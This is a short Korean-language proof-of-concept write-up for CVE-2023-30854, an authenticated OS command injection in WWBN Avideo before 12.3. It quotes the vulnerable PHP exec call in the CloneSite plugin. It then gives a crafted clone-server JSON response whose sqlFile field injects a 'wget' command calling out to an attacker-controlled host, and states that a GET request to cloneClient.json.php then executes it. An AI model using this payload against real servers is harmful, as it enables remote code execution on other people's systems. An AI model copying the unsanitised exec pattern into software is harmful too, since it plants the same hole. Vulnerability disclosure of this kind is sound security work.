
CVE-2023-30854에 대한 개념 증명 익스플로잇: WWBN Avideo < 12.3에서 인증된 OS 명령 주입, 조작된 클론 서버 응답을 통해 원격 코드 실행을 가능하게 함.
CVE-2023-30854 WWBN Avideo < 12.3 인증된 RCE
인증된 엔드포인트 /plugin/CloneSite/cloneClient.json.php에서 OS 명령 주입 취약점이 발견되어 공격자가 원격 코드 실행을 달성할 수 있습니다.
취약한 코드:
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
관리자 패널의 사이트 복제 기능을 통해 $objClone->cloneSiteURL을 제어할 수 있습니다.
/plugin/CloneSite/cloneClient.json.php는 {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php에 GET 요청을 보냅니다. 저는 특별히 제작된 cloneServer.json.php를 호스팅하여 다음 JSON 데이터를 출력하도록 했습니다.
{"error":false,"msg":"","url":"https:\/\/REDACTED\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/demo.avideo.com\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget http://REDACTED:4444/`pwd` ;#","videoFiles":[],"photoFiles":[]}
/plugin/CloneSite/cloneClient.json.php에 GET 요청을 보내면 원격 코드 실행이 이루어집니다.
